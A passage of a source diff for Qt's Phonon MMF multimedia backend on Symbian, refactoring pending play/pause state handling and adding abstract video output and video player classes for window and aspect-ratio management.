+++ b/src/3rdparty/phonon/mmf/abstractaudioeffect.cpp
@@ -20,7 +20,6 @@ along with this library.  If not, see <http://www.gnu.org/licenses/>.
 
 #include "abstractaudioeffect.h"
 #include "audioplayer.h"
-#include "mmf_videoplayer.h"
 
 QT_BEGIN_NAMESPACE
 
diff --git a/src/3rdparty/phonon/mmf/abstractaudioeffect.h b/src/3rdparty/phonon/mmf/abstractaudioeffect.h
index 436e8e4..d71993b 100644
--- a/src/3rdparty/phonon/mmf/abstractaudioeffect.h
+++ b/src/3rdparty/phonon/mmf/abstractaudioeffect.h
@@ -28,7 +28,6 @@ along with this library.  If not, see <http://www.gnu.org/licenses/>.
 #include "audioplayer.h"
 #include "effectparameter.h"
 #include "mmf_medianode.h"
-#include "mmf_videoplayer.h"
 
 class CMdaAudioOutputStream;
 
diff --git a/src/3rdparty/phonon/mmf/abstractmediaplayer.cpp b/src/3rdparty/phonon/mmf/abstractmediaplayer.cpp
index 544762a..be2a568 100644
--- a/src/3rdparty/phonon/mmf/abstractmediaplayer.cpp
+++ b/src/3rdparty/phonon/mmf/abstractmediaplayer.cpp
@@ -48,7 +48,7 @@ MMF::AbstractMediaPlayer::AbstractMediaPlayer
     (MediaObject *parent, const AbstractPlayer *player)
         :   AbstractPlayer(player)
         ,   m_parent(parent)
-        ,   m_playPending(false)
+        ,   m_pending(NothingPending)
         ,   m_positionTimer(new QTimer(this))
         ,   m_bufferStatusTimer(new QTimer(this))
         ,   m_mmfMaxVolume(NullMaxVolume)
@@ -74,14 +74,12 @@ void MMF::AbstractMediaPlayer::play()
         break;
 
     case LoadingState:
-        m_playPending = true;
+        setPending(PlayPending);
         break;
 
     case StoppedState:
     case PausedState:
-        doPlay();
-        startPositionTimer();
-        changeState(PlayingState);
+        startPlayback();
         break;
 
     case PlayingState:
@@ -103,14 +101,16 @@ void MMF::AbstractMediaPlayer::pause()
     TRACE_CONTEXT(AbstractMediaPlayer::pause, EAudioApi);
     TRACE_ENTRY("state %d", privateState());
 
-    m_playPending = false;
     stopTimers();
 
     switch (privateState()) {
     case GroundState:
     case LoadingState:
-    case PausedState:
     case StoppedState:
+        setPending(PausePending);
+        break;
+
+    case PausedState:
         // Do nothing
         break;
 
@@ -135,7 +135,7 @@ void MMF::AbstractMediaPlayer::stop()
     TRACE_CONTEXT(AbstractMediaPlayer::stop, EAudioApi);
     TRACE_ENTRY("state %d", privateState());
 
-    m_playPending = false;
+    setPending(NothingPending);
     stopTimers();
 
     switch (privateState()) {
@@ -365,12 +365,31 @@ void MMF::AbstractMediaPlayer::maxVolumeChanged(int mmfMaxVolume)
     doVolumeChanged();
 }
 
+void MMF::AbstractMediaPlayer::loadingComplete(int error)
+{
+    Q_ASSERT(Phonon::LoadingState == state());
+
+    if (KErrNone == error) {
+        updateMetaData();
+        changeState(StoppedState);
+    } else {
+        setError(tr("Loading clip failed"), error);
+    }
+}
+
 void MMF::AbstractMediaPlayer::playbackComplete(int error)
 {
     stopTimers();
 
+    if (KErrNone == error && !m_aboutToFinishSent) {
+        const qint64 total = totalTime();
+        emit MMF::AbstractPlayer::tick(total);
+        m_aboutToFinishSent = true;
+        emit aboutToFinish();
+    }
+
     if (KErrNone == error) {
-        changeState(StoppedState);
+        changeState(PausedState);
 
         // MediaObject::switchToNextSource deletes the current player, so we
         // call it via delayed slot invokation to ensure that this object does
@@ -379,6 +398,7 @@ void MMF::AbstractMediaPlayer::playbackComplete(int error)
     }
     else {
         setError(tr("Playback complete"), error);
+        emit finished();
     }
 }
 
@@ -393,15 +413,13 @@ qint64 MMF::AbstractMediaPlayer::toMilliSeconds(const TTimeIntervalMicroSeconds
 
 void MMF::AbstractMediaPlayer::positionTick()
 {
-    emitMarksIfReached();
-
     const qint64 current = currentTime();
+    emitMarksIfReached(current);
     emit MMF::AbstractPlayer::tick(current);
 }
 
-void MMF::AbstractMediaPlayer::emitMarksIfReached()
+void MMF::AbstractMediaPlayer::emitMarksIfReached(qint64 current)
 {
-    const qint64 current = currentTime();
     const qint64 total = totalTime();
     const qint64 remaining = total - current;
 
@@ -435,11 +453,39 @@ void MMF::AbstractMediaPlayer::resetMarksIfRewound()
             m_aboutToFinishSent = false;
 }
 
+void MMF::AbstractMediaPlayer::setPending(Pending pending)
+{
+    const Phonon::State oldState = state();
+    m_pending = pending;
+    const Phonon::State newState = state();
+    if (newState != oldState)
+        emit stateChanged(newState, oldState);
+}
+
+void MMF::AbstractMediaPlayer::startPlayback()
+{
+    doPlay();
+    startPositionTimer();
+    changeState(PlayingState);
+}
+
 void MMF::AbstractMediaPlayer::bufferStatusTick()
 {
     emit MMF::AbstractPlayer::bufferStatus(bufferStatus());
 }
 
+Phonon::State MMF::AbstractMediaPlayer::phononState(PrivateState state) const
+{
+    Phonon::State result = AbstractPlayer::phononState(state);
+
+    if (PausePending == m_pending) {
+        Q_ASSERT(Phonon::StoppedState == result || Phonon::LoadingState == result);
+        result = Phonon::PausedState;
+    }
+
+    return result;
+}
+
 void MMF::AbstractMediaPlayer::changeState(PrivateState newState)
 {
     TRACE_CONTEXT(AbstractMediaPlayer::changeState, EAudioInternal);
@@ -447,20 +493,26 @@ void MMF::AbstractMediaPlayer::changeState(PrivateState newState)
     const Phonon::State oldPhononState = phononState(privateState());
     const Phonon::State newPhononState = phononState(newState);
 
-    // TODO: add some invariants to check that the transition is valid
-    AbstractPlayer::changeState(newState);
-
     if (LoadingState == oldPhononState && StoppedState == newPhononState) {
-        // Ensure initial volume is set on MMF API before starting playback
-        doVolumeChanged();
-
-        // Check whether play() was called while clip was being loaded.  If so,
-        // playback should be started now
-        if (m_playPending) {
-            TRACE_0("play was called while loading; starting playback now");
-            m_playPending = false;
-            play();
+        switch (m_pending) {
+        case NothingPending:
+            AbstractPlayer::changeState(newState);
+            break;
+
+        case PlayPending:
+            changeState(PlayingState); // necessary in order to apply initial volume
+            doVolumeChanged();
+            startPlayback();
+            break;
+
+        case PausePending:
+            AbstractPlayer::changeState(PausedState);
+            break;
         }
+
+        setPending(NothingPending);
+    } else {
+        AbstractPlayer::changeState(newState);
     }
 }
 
diff --git a/src/3rdparty/phonon/mmf/abstractmediaplayer.h b/src/3rdparty/phonon/mmf/abstractmediaplayer.h
index abd6bff..23a8233 100644
--- a/src/3rdparty/phonon/mmf/abstractmediaplayer.h
+++ b/src/3rdparty/phonon/mmf/abstractmediaplayer.h
@@ -60,6 +60,8 @@ public:
 protected:
     // AbstractPlayer
     virtual void doSetTickInterval(qint32 interval);
+    virtual Phonon::State phononState(PrivateState state) const;
+    virtual void changeState(PrivateState newState);
 
     virtual void doPlay() = 0;
     virtual void doPause() = 0;
@@ -70,7 +72,6 @@ protected:
     virtual int openUrl(const QString& url) = 0;
     virtual int bufferStatus() const = 0;
     virtual void close() = 0;
-    virtual void changeState(PrivateState newState);
 
     void updateMetaData();
     virtual int numberOfMetaDataEntries() const = 0;
@@ -80,6 +81,7 @@ protected:
     void bufferingStarted();
     void bufferingComplete();
     void maxVolumeChanged(int maxVolume);
+    void loadingComplete(int error);
     void playbackComplete(int error);
 
     static qint64 toMilliSeconds(const TTimeIntervalMicroSeconds &);
@@ -91,8 +93,17 @@ private:
     void stopBufferStatusTimer();
     void stopTimers();
     void doVolumeChanged();
-    void emitMarksIfReached();
+    void emitMarksIfReached(qint64 position);
     void resetMarksIfRewound();
+    void startPlayback();
+
+    enum Pending {
+        NothingPending,
+        PausePending,
+        PlayPending
+    };
+
+    void setPending(Pending pending);
 
 private Q_SLOTS:
     void positionTick();
@@ -101,12 +112,7 @@ private Q_SLOTS:
 private:
     MediaObject *const          m_parent;
 
-    /**
-     * This flag is set to true if play is called when the object is
-     * in a Loading state.  Once loading is complete, playback will
-     * be started.
-     */
-    bool                        m_playPending;
+    Pending                     m_pending;
 
     QScopedPointer<QTimer>      m_positionTimer;
 
diff --git a/src/3rdparty/phonon/mmf/abstractplayer.cpp b/src/3rdparty/phonon/mmf/abstractplayer.cpp
index 53973eb..77d7ae0 100644
--- a/src/3rdparty/phonon/mmf/abstractplayer.cpp
+++ b/src/3rdparty/phonon/mmf/abstractplayer.cpp
@@ -48,6 +48,11 @@ MMF::AbstractPlayer::AbstractPlayer(const AbstractPlayer *player)
         m_tickInterval = player->m_tickInterval;
         m_transitionTime = player->m_transitionTime;
         m_prefinishMark = player->m_prefinishMark;
+
+        // This is to prevent unwanted state transitions occurring as a result
+        // of MediaObject::switchToNextSource() during playlist playback.
+        if (StoppedState == player->m_state)
+            m_state = player->m_state;
     }
 }
 
@@ -96,7 +101,7 @@ void MMF::AbstractPlayer::volumeChanged(qreal volume)
 // Video output
 //-----------------------------------------------------------------------------
 
-void MMF::AbstractPlayer::setVideoOutput(VideoOutput* videoOutput)
+void MMF::AbstractPlayer::setVideoOutput(AbstractVideoOutput* videoOutput)
 {
     m_videoOutput = videoOutput;
     videoOutputChanged();
@@ -141,7 +146,7 @@ Phonon::State MMF::AbstractPlayer::phononState() const
     return phononState(m_state);
 }
 
-Phonon::State MMF::AbstractPlayer::phononState(PrivateState state)
+Phonon::State MMF::AbstractPlayer::phononState(PrivateState state) const
 {
     const Phonon::State phononState =
         GroundState == state
diff --git a/src/3rdparty/phonon/mmf/abstractplayer.h b/src/3rdparty/phonon/mmf/abstractplayer.h
index cec5568..ab892f5 100644
--- a/src/3rdparty/phonon/mmf/abstractplayer.h
+++ b/src/3rdparty/phonon/mmf/abstractplayer.h
@@ -24,7 +24,7 @@ along with this library.  If not, see <http://www.gnu.org/licenses/>.
 
 #include <QObject>
 
-#include "videooutput.h"
+#include "abstractvideooutput.h"
 
 class RFile;
 
@@ -34,7 +34,6 @@ namespace Phonon
 {
 namespace MMF
 {
-class VideoOutput;
 
 /**
  * @short Interface which abstracts from MediaObject the current
@@ -79,7 +78,7 @@ public:
 
     virtual void volumeChanged(qreal volume);
 
-    void setVideoOutput(VideoOutput* videoOutput);
+    void setVideoOutput(AbstractVideoOutput *videoOutput);
 
     /**
      * Records error message and changes state to ErrorState
@@ -134,7 +133,7 @@ protected:
     /**
      * Converts PrivateState into the corresponding Phonon::State
      */
-    static Phonon::State phononState(PrivateState state);
+    virtual Phonon::State phononState(PrivateState state) const;
 
     virtual void videoOutputChanged();
 
@@ -156,7 +155,7 @@ private:
 
 protected:
     // Not owned
-    VideoOutput*                m_videoOutput;
+    AbstractVideoOutput*        m_videoOutput;
 
     qreal                       m_volume;
 
diff --git a/src/3rdparty/phonon/mmf/abstractvideooutput.cpp b/src/3rdparty/phonon/mmf/abstractvideooutput.cpp
new file mode 100644
index 0000000..a8aabfd
--- /dev/null
+++ b/src/3rdparty/phonon/mmf/abstractvideooutput.cpp
@@ -0,0 +1,185 @@
+/*  This file is part of the KDE project.
+
+Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+
+This library is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 2.1 or 3 of the License.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#include "abstractvideooutput.h"
+#include "utils.h"
+
+#ifndef QT_NO_DEBUG
+#include "objectdump.h"
+#endif
+
+#include <QtCore/private/qcore_symbian_p.h> // for qt_TSize2QSize
+
+#include <QMoveEvent>
+#include <QResizeEvent>
+
+#include <QApplication> // for QApplication::activeWindow
+
+#include <coecntrl.h>
+
+QT_BEGIN_NAMESPACE
+
+using namespace Phonon;
+using namespace Phonon::MMF;
+
+/*! \class MMF::AbstractVideoOutput
+  \internal
+*/
+
+//-----------------------------------------------------------------------------
+// Constants
+//-----------------------------------------------------------------------------
+
+static const Phonon::VideoWidget::AspectRatio DefaultAspectRatio =
+    Phonon::VideoWidget::AspectRatioAuto;
+static const Phonon::VideoWidget::ScaleMode DefaultScaleMode =
+    Phonon::VideoWidget::FitInView;
+
+
+//-----------------------------------------------------------------------------
+// Constructor / destructor
+//-----------------------------------------------------------------------------
+
+MMF::AbstractVideoOutput::AbstractVideoOutput(QWidget *parent)
+    :   QWidget(parent)
+    ,   m_aspectRatio(DefaultAspectRatio)
+    ,   m_scaleMode(DefaultScaleMode)
+{
+
+}
+
+MMF::AbstractVideoOutput::~AbstractVideoOutput()
+{
+
+}
+
+void MMF::AbstractVideoOutput::setVideoSize(const QSize &frameSize)
+{
+    TRACE_CONTEXT(AbstractVideoOutput::setVideoSize, EVideoInternal);
+    TRACE("oldSize %d %d newSize %d %d",
+          m_videoFrameSize.width(), m_videoFrameSize.height(),
+          frameSize.width(), frameSize.height());
+
+    if (frameSize != m_videoFrameSize) {
+        m_videoFrameSize = frameSize;
+        updateGeometry();
+    }
+}
+
+
+//-----------------------------------------------------------------------------
+// QWidget
+//-----------------------------------------------------------------------------
+
+QSize MMF::AbstractVideoOutput::sizeHint() const
+{
+    // TODO: replace this with a more sensible default
+    QSize result(320, 240);
+
+    if (!m_videoFrameSize.isNull())
+        result = m_videoFrameSize;
+
+    return result;
+}
+
+
+//-----------------------------------------------------------------------------
+// Public functions
+//-----------------------------------------------------------------------------
+
+RWindowBase* MMF::AbstractVideoOutput::videoWindow() const
+{
+    CCoeControl *control = internalWinId();
+    if (!control)
+        control = effectiveWinId();
+
+    RWindowBase *window = 0;
+    if (control)
+        window = control->DrawableWindow();
+
+    return window;
+}
+
+QSize MMF::AbstractVideoOutput::videoWindowSize() const
+{
+    QSize result;
+    if (RWindowBase *const window = videoWindow())
+        result = qt_TSize2QSize(window->Size());
+    return result;
+}
+
+Phonon::VideoWidget::AspectRatio MMF::AbstractVideoOutput::aspectRatio() const
+{
+    return m_aspectRatio;
+}
+
+void MMF::AbstractVideoOutput::setAspectRatio
+    (Phonon::VideoWidget::AspectRatio aspectRatio)
+{
+    if (m_aspectRatio != aspectRatio) {
+        m_aspectRatio = aspectRatio;
+        emit aspectRatioChanged();
+    }
+}
+
+Phonon::VideoWidget::ScaleMode MMF::AbstractVideoOutput::scaleMode() const
+{
+    return m_scaleMode;
+}
+
+void MMF::AbstractVideoOutput::setScaleMode
+    (Phonon::VideoWidget::ScaleMode scaleMode)
+{
+    if (m_scaleMode != scaleMode) {
+        m_scaleMode = scaleMode;
+        emit scaleModeChanged();
+    }
+}
+
+
+//-----------------------------------------------------------------------------
+// Private functions
+//-----------------------------------------------------------------------------
+
+void MMF::AbstractVideoOutput::dump() const
+{
+#ifndef QT_NO_DEBUG
+    TRACE_CONTEXT(AbstractVideoOutput::dump, EVideoInternal);
+
+    QScopedPointer<ObjectDump::QVisitor> visitor(new ObjectDump::QVisitor);
+    visitor->setPrefix("Phonon::MMF"); // to aid searchability of logs
+    ObjectDump::addDefaultAnnotators(*visitor);
+
+    if (QWidget *window = QApplication::activeWindow()) {
+        TRACE("Dumping from root window 0x%08x:", window);
+        ObjectDump::dumpTreeFromLeaf(*window, *visitor);
+    }
+
+    TRACE("Dumping tree from leaf 0x%08x:", this);
+    ObjectDump::dumpTreeFromLeaf(*this, *visitor);
+
+    QScopedPointer<ObjectDump::QDumper> dumper(new ObjectDump::QDumper);
+    dumper->setPrefix("Phonon::MMF"); // to aid searchability of logs
+    ObjectDump::addDefaultAnnotators(*dumper);
+    TRACE_0("Dumping AbstractVideoOutput:");
+    dumper->dumpObject(*this);
+#endif
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/3rdparty/phonon/mmf/abstractvideooutput.h b/src/3rdparty/phonon/mmf/abstractvideooutput.h
new file mode 100644
index 0000000..61bcd0f
--- /dev/null
+++ b/src/3rdparty/phonon/mmf/abstractvideooutput.h
@@ -0,0 +1,93 @@
+/*  This file is part of the KDE project.
+
+Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+
+This library is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 2.1 or 3 of the License.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#ifndef PHONON_MMF_ABSTRACTVIDEOOUTPUT_H
+#define PHONON_MMF_ABSTRACTVIDEOOUTPUT_H
+
+#include <QtGui/QWidget>
+#include <QVector>
+#include <QRect>
+#include "defs.h"
+
+#include <phonon/abstractvideooutput.h>
+#include <phonon/videowidget.h>
+
+#include <e32std.h>
+class RWindowBase;
+
+QT_BEGIN_NAMESPACE
+
+namespace Phonon
+{
+namespace MMF
+{
+
+/**
+ * @short ABC for widget on which video is displayed
+ *
+ * @see DsaVideoOutput, SurfaceVideoOutput
+ */
+class AbstractVideoOutput
+    :   public QWidget
+{
+    Q_OBJECT
+
+public:
+    ~AbstractVideoOutput();
+
+    // Set size of video frame.  Called by VideoPlayer.
+    void setVideoSize(const QSize &size);
+
+    RWindowBase* videoWindow() const;
+    QSize videoWindowSize() const;
+
+    Phonon::VideoWidget::AspectRatio aspectRatio() const;
+    void setAspectRatio(Phonon::VideoWidget::AspectRatio aspectRatio);
+
+    Phonon::VideoWidget::ScaleMode scaleMode() const;
+    void setScaleMode(Phonon::VideoWidget::ScaleMode scaleMode);
+
+    // Debugging output
+    void dump() const;
+
+Q_SIGNALS:
+    void videoWindowChanged();
+    void aspectRatioChanged();
+    void scaleModeChanged();
+
+protected:
+    AbstractVideoOutput(QWidget *parent);
+
+private:
+    // QWidget
+    QSize sizeHint() const;
+
+private:
+    // Dimensions of the video clip
+    QSize                   m_videoFrameSize;
+
+    Phonon::VideoWidget::AspectRatio        m_aspectRatio;
+    Phonon::VideoWidget::ScaleMode          m_scaleMode;
+
+};
+}
+}
+
+QT_END_NAMESPACE
+
+#endif
diff --git a/src/3rdparty/phonon/mmf/abstractvideoplayer.cpp b/src/3rdparty/phonon/mmf/abstractvideoplayer.cpp
new file mode 100644
index 0000000..2e0ab1c
--- /dev/null
+++ b/src/3rdparty/phonon/mmf/abstractvideoplayer.cpp
@@ -0,0 +1,495 @@
+/*  This file is part of the KDE project.
+
+Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+
+This library is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 2.1 or 3 of the License.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#include <QUrl>
+#include <QTimer>
+#include <QWidget>
+
+#include <coemain.h>    // for CCoeEnv
+
+#include "abstractvideoplayer.h"
+#include "utils.h"
+
+#ifndef QT_NO_DEBUG
+#include "objectdump.h"
+#endif
+
+QT_BEGIN_NAMESPACE
+
+using namespace Phonon;
+using namespace Phonon::MMF;
+
+/*! \class MMF::AbstractVideoPlayer
+  \internal
+*/
+
+//-----------------------------------------------------------------------------
+// Constructor / destructor
+//-----------------------------------------------------------------------------
+
+MMF::AbstractVideoPlayer::AbstractVideoPlayer(MediaObject *parent, const AbstractPlayer *player)
+    :   AbstractMediaPlayer(parent, player)
+    ,   m_wsSession(CCoeEnv::Static()->WsSession())
+    ,   m_screenDevice(*CCoeEnv::Static()->ScreenDevice())
+    ,   m_window(0)
+    ,   m_scaleWidth(1.0)
+    ,   m_scaleHeight(1.0)
+    ,   m_totalTime(0)
+{
+
+}
+
+void MMF::AbstractVideoPlayer::construct()
+{
+    TRACE_CONTEXT(AbstractVideoPlayer::AbstractVideoPlayer, EVideoApi);
+    TRACE_ENTRY_0();
+
+    if (m_videoOutput) {
+        initVideoOutput();
+        m_window = m_videoOutput->videoWindow();
+    }
+
+    createPlayer();
+
+    TRACE_EXIT_0();
+}
+
+MMF::AbstractVideoPlayer::~AbstractVideoPlayer()
+{
+    TRACE_CONTEXT(AbstractVideoPlayer::~AbstractVideoPlayer, EVideoApi);
+    TRACE_ENTRY_0();
+
+    // QObject destructor removes all signal-slot connections involving this
+    // object, so we do not need to disconnect from m_videoOutput here.
+
+    TRACE_EXIT_0();
+}
+
+CVideoPlayerUtility* MMF::AbstractVideoPlayer::nativePlayer() const
+{
+    return m_player.data();
+}
+
+//-----------------------------------------------------------------------------
+// Public API
+//-----------------------------------------------------------------------------
+
+void MMF::AbstractVideoPlayer::doPlay()
+{
+    TRACE_CONTEXT(AbstractVideoPlayer::doPlay, EVideoApi);
+
+    handlePendingParametersChanged();
+
+    m_player->Play();
+}
+
+void MMF::AbstractVideoPlayer::doPause()
+{
+    TRACE_CONTEXT(AbstractVideoPlayer::doPause, EVideoApi);
+
+    TRAPD(err, m_player->PauseL());
+    if (KErrNone != err && state() != ErrorState) {
+        TRACE("PauseL error %d", err);
+        setError(tr("Pause failed"), err);
+    }
+}
+
+void MMF::AbstractVideoPlayer::doStop()
+{
+    m_player->Stop();
+}
+
+void MMF::AbstractVideoPlayer::doSeek(qint64 ms)
+{
+    TRACE_CONTEXT(AbstractVideoPlayer::doSeek, EVideoApi);
+
+    TRAPD(err, m_player->SetPositionL(TTimeIntervalMicroSeconds(ms * 1000)));
+
+    if (KErrNone != err)
+        setError(tr("Seek failed"), err);
+}
+
+int MMF::AbstractVideoPlayer::setDeviceVolume(int mmfVolume)
+{
+    TRAPD(err, m_player->SetVolumeL(mmfVolume));
+    return err;
+}
+
+int MMF::AbstractVideoPlayer::openFile(RFile &file)
+{
+    TRAPD(err, m_player->OpenFileL(file));
+    return err;
+}
+
+int MMF::AbstractVideoPlayer::openUrl(const QString &url)
+{
+    TRAPD(err, m_player->OpenUrlL(qt_QString2TPtrC(url)));
+    return err;
+}
+
+int MMF::AbstractVideoPlayer::bufferStatus() const
+{
+    int result = 0;
+    TRAP_IGNORE(m_player->GetVideoLoadingProgressL(result));
+    return result;
+}
+
+void MMF::AbstractVideoPlayer::close()
+{
+    m_player->Close();
+}
+
+bool MMF::AbstractVideoPlayer::hasVideo() const
+{
+    return true;
+}
+
+qint64 MMF::AbstractVideoPlayer::currentTime() const
+{
+    TRACE_CONTEXT(AbstractVideoPlayer::currentTime, EVideoApi);
+
+    TTimeIntervalMicroSeconds us;
+    TRAPD(err, us = m_player->PositionL())
+
+    qint64 result = 0;
+
+    if (KErrNone == err) {
+        result = toMilliSeconds(us);
+    } else {
+        TRACE("PositionL error %d", err);
+
+        // If we don't cast away constness here, we simply have to ignore
+        // the error.
+        const_cast<AbstractVideoPlayer*>(this)->setError(tr("Getting position failed"), err);
+    }
+
+    return result;
+}
+
+qint64 MMF::AbstractVideoPlayer::totalTime() const
+{
+    return m_totalTime;
+}
+
+
+//-----------------------------------------------------------------------------
+// Public slots
+//-----------------------------------------------------------------------------
+
+void MMF::AbstractVideoPlayer::videoWindowChanged()
+{
+    TRACE_CONTEXT(AbstractVideoPlayer::videoWindowChanged, EVideoInternal);
+    TRACE_ENTRY("state %d", state());
+
+    m_window = m_videoOutput ? m_videoOutput->videoWindow() : 0;
+
+    if (m_videoOutput)
+        m_videoOutput->dump();
+
+    handleVideoWindowChanged();
+
+    TRACE_EXIT_0();
+}
+
+void MMF::AbstractVideoPlayer::aspectRatioChanged()
+{
+    TRACE_CONTEXT(AbstractVideoPlayer::aspectRatioChanged, EVideoInternal);
+    TRACE_ENTRY("state %d aspectRatio %d", state());
+
+    updateScaleFactors(m_videoOutput->videoWindowSize());
+
+    TRACE_EXIT_0();
+}
+
+void MMF::AbstractVideoPlayer::scaleModeChanged()
+{
+    TRACE_CONTEXT(AbstractVideoPlayer::scaleModeChanged, EVideoInternal);
+    TRACE_ENTRY("state %d", state());
+
+    updateScaleFactors(m_videoOutput->videoWindowSize());
+
+    TRACE_EXIT_0();
+}
+
+
+//-----------------------------------------------------------------------------
+// MVideoPlayerUtilityObserver callbacks
+//-----------------------------------------------------------------------------
+
+void MMF::AbstractVideoPlayer::MvpuoOpenComplete(TInt aError)
+{
+    TRACE_CONTEXT(AbstractVideoPlayer::MvpuoOpenComplete, EVideoApi);
+    TRACE_ENTRY("state %d error %d", state(), aError);
+
+    __ASSERT_ALWAYS(LoadingState == state(), Utils::panic(InvalidStatePanic));
+
+    if (KErrNone == aError)
+        m_player->Prepare();
+    else
+        setError(tr("Opening clip failed"), aError);
+
+    TRACE_EXIT_0();
+}
+
+void MMF::AbstractVideoPlayer::MvpuoPrepareComplete(TInt aError)
+{
+    TRACE_CONTEXT(AbstractVideoPlayer::MvpuoPrepareComplete, EVideoApi);
+    TRACE_ENTRY("state %d error %d", state(), aError);
+
+    __ASSERT_ALWAYS(LoadingState == state(), Utils::panic(InvalidStatePanic));
+
+    TRAPD(err, getVideoClipParametersL(aError));
+
+    if (KErrNone == err) {
+        if (m_videoOutput)
+            m_videoOutput->dump();
+
+        maxVolumeChanged(m_player->MaxVolume());
+
+        if (m_videoOutput)
+            m_videoOutput->setVideoSize(m_videoFrameSize);
+
+        prepareCompleted();
+        handlePendingParametersChanged();
+
+        emit totalTimeChanged(totalTime());
+    }
+
+    loadingComplete(aError);
+
+    TRACE_EXIT_0();
+}
+
+void MMF::AbstractVideoPlayer::getVideoClipParametersL(TInt aError)
+{
+    User::LeaveIfError(aError);
+
+    // Get frame size
+    TSize size;
+    m_player->VideoFrameSizeL(size);
+    m_videoFrameSize = QSize(size.iWidth, size.iHeight);
+
+    // Get duration
+    m_totalTime = toMilliSeconds(m_player->DurationL());
+}
+
+
+void MMF::AbstractVideoPlayer::MvpuoFrameReady(CFbsBitmap &aFrame, TInt aError)
+{
+    TRACE_CONTEXT(AbstractVideoPlayer::MvpuoFrameReady, EVideoApi);
+    TRACE_ENTRY("state %d error %d", state(), aError);
+
+    Q_UNUSED(aFrame);
+    Q_UNUSED(aError);   // suppress warnings in release builds
+
+    TRACE_EXIT_0();
+}
+
+void MMF::AbstractVideoPlayer::MvpuoPlayComplete(TInt aError)
+{
+    TRACE_CONTEXT(AbstractVideoPlayer::MvpuoPlayComplete, EVideoApi)
+    TRACE_ENTRY("state %d error %d", state(), aError);
+
+    // Call base class function which handles end of playback for both
+    // audio and video clips.
+    playbackComplete(aError);
+
+    TRACE_EXIT_0();
+}
+
+void MMF::AbstractVideoPlayer::MvpuoEvent(const TMMFEvent &aEvent)
+{
+    TRACE_CONTEXT(AbstractVideoPlayer::MvpuoEvent, EVideoApi);
+    TRACE_ENTRY("state %d", state());
+
+    Q_UNUSED(aEvent);
+
+    TRACE_EXIT_0();
+}
+
+
+//-----------------------------------------------------------------------------
+// MVideoLoadingObserver callbacks
+//-----------------------------------------------------------------------------
+
+void MMF::AbstractVideoPlayer::MvloLoadingStarted()
+{
+    bufferingStarted();
+}
+
+void MMF::AbstractVideoPlayer::MvloLoadingComplete()
+{
+    bufferingComplete();
+}
+
+
+//-----------------------------------------------------------------------------
+// Video window updates
+//-----------------------------------------------------------------------------
+
+void MMF::AbstractVideoPlayer::videoOutputChanged()
+{
+    TRACE_CONTEXT(AbstractVideoPlayer::videoOutputChanged, EVideoInternal);
+    TRACE_ENTRY_0();
+
+    if (m_videoOutput)
+        initVideoOutput();
+
+    videoWindowChanged();
+
+    TRACE_EXIT_0();
+}
+
+void MMF::AbstractVideoPlayer::initVideoOutput()
+{
+    bool connected = connect(
+        m_videoOutput, SIGNAL(videoWindowChanged()),
+        this, SLOT(videoWindowChanged())
+    );
+    Q_ASSERT(connected);
+
+    connected = connect(
+        m_videoOutput, SIGNAL(aspectRatioChanged()),
+        this, SLOT(aspectRatioChanged())
+    );
+    Q_ASSERT(connected);
+
+    connected = connect(
+        m_videoOutput, SIGNAL(scaleModeChanged()),
+        this, SLOT(scaleModeChanged())
+    );
+    Q_ASSERT(connected);
+
+    // Suppress warnings in release builds
+    Q_UNUSED(connected);
+
+    // Do these after all connections are complete, to ensure
+    // that any signals generated get to their destinations.
+    m_videoOutput->winId();
+    m_videoOutput->setVideoSize(m_videoFrameSize);
+}
+
+// Helper function for aspect ratio / scale mode handling
+QSize scaleToAspect(const QSize &srcRect, int aspectWidth, int aspectHeight)
+{
+    const qreal aspectRatio = qreal(aspectWidth) / aspectHeight;
+
+    int width = srcRect.width();
+    int height = srcRect.width() / aspectRatio;
+    if (height > srcRect.height()){
+        height = srcRect.height();
+        width = srcRect.height() * aspectRatio;
+    }
+    return QSize(width, height);
+}
+
+void MMF::AbstractVideoPlayer::updateScaleFactors(const QSize &windowSize, bool apply)
+{
+    if (m_videoFrameSize.isValid()) {
+        QRect videoRect;
+
+        // Calculate size of smallest rect which contains video frame size
+        // and conforms to aspect ratio
+        switch (m_videoOutput->aspectRatio()) {
+        case Phonon::VideoWidget::AspectRatioAuto:
+            videoRect.setSize(m_videoFrameSize);
+            break;
+
+        case Phonon::VideoWidget::AspectRatioWidget:
+            videoRect.setSize(windowSize);
+            break;
+
+        case Phonon::VideoWidget::AspectRatio4_3:
+            videoRect.setSize(scaleToAspect(m_videoFrameSize, 4, 3));
+            break;
+
+        case Phonon::VideoWidget::AspectRatio16_9:
+            videoRect.setSize(scaleToAspect(m_videoFrameSize, 16, 9));
+            break;
+        }
+
+        // Scale to fill the window width
+        const int windowWidth = windowSize.width();
+        const int windowHeight = windowSize.height();
+        const qreal windowScaleFactor = qreal(windowWidth) / videoRect.width();
+        int videoWidth = windowWidth;
+        int videoHeight = videoRect.height() * windowScaleFactor;
+
+        const qreal windowToVideoHeightRatio = qreal(windowHeight) / videoHeight;
+
